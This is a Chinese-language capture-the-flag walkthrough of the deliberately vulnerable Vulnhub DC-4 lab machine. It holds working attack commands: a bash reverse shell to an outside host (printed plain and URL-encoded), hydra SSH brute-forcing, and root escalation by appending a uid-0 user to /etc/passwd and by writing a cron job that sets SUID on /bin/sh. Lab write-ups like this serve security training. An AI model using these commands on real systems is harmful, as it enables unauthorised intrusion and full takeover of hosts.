Vulnhub DC-4
一、環境搭建
下載鏈接:https://www.vulnhub.com/entry/dc-4,313/
解壓後用VMware打開,導入虛擬機
網卡配置看個人習慣,我喜歡NAT
二、信息蒐集
1.arp-scan 掃出ip
arp-scan 192.168.124.0/24
2.Nmap 掃描端口
掃描全端口,怕漏掉信息
nmap -sV -p 1-65535 -T4 -A
只開了22和80,留意一下系統版本 提權可能會有用
3.掃web目錄
三、漏洞發現
打開頁面發現是一個需要登陸的地方,丟到bp爆破一下
成功爆出 賬號:admin 密碼:happy
漏洞利用
登陸後發下如下圖一個可以執行命令的地方
比如第一個執行的是ls -l ,利用bp抓包發現可以執行任意命令
細思恐極...直接彈shell試試
echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash
這裏注意提交的命令需要URL編碼,不然不會被正確解析
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31
看了看passwd文件發現有幾個普通賬戶
既然還有22端口開着,那就先拿這幾個用戶入手。這裏對jim下手
發現/home/jim/backups目錄下有old-passwords.bak看着像備份密碼的文件(果不其然,又要爆破)
hydra爆破22端口
hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh
-vV :顯示詳細輸出過程
-o :將結果輸出到指定文件
ssh登錄 賬戶: jim 密碼: jibril04
提權
將提權版本放到exp庫中搜索,無果。
SUID提權
嘗試了一下sudo -l ,無果。
搜索具備suid屬性的文件
find / -perm -u=s -type f 2>/dev/null
發現沒有熟悉的find命令(難過ing)但是發現了有個奇怪的test.sh
看看這個文件是做什麼的
是一個jim用戶創建的可以執行命令的文件,查詢得知這個文件執行命令依然是用jim用戶的權限而不是root所以也不能提權。
查詢jim用戶可以寫的文件
find / -writable -type f 2>/dev/null | grep -v "/proc/"
發現有個郵件,看看是啥
發現了charles用戶給jim用戶他的密碼....
ssh一下,發現該用戶可以利用sudo無密碼使用teehee且是root權限
發現此命令通過 -a 參數向別的文件寫入內容
查詢得知有兩種思路
- 修改passwd文件,添加一個root權限的用戶
- 寫入定時任務,開啓一個root權限的shell環境
修改passwd文件
sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Zh1z3ven::0:0:::/bin/bash
charles@dc-4:/usr/bin$ su Zh1z3ven
root@dc-4:/usr/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/usr/bin#
寫入定時任務
向/etc/crontab寫入一個定時任務創建一個4777屬性的/bin/sh
4代表SUID權限
SUID:即爲當文件(或命令,但linux一切皆文件~)具有SUID屬性時,執行該文件的用戶會臨時擁有文件擁有者的權限。所以當時test.sh不可以提權,因爲文件是jim的。
寫入定時任務
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
已具有suid屬性的/bin/sh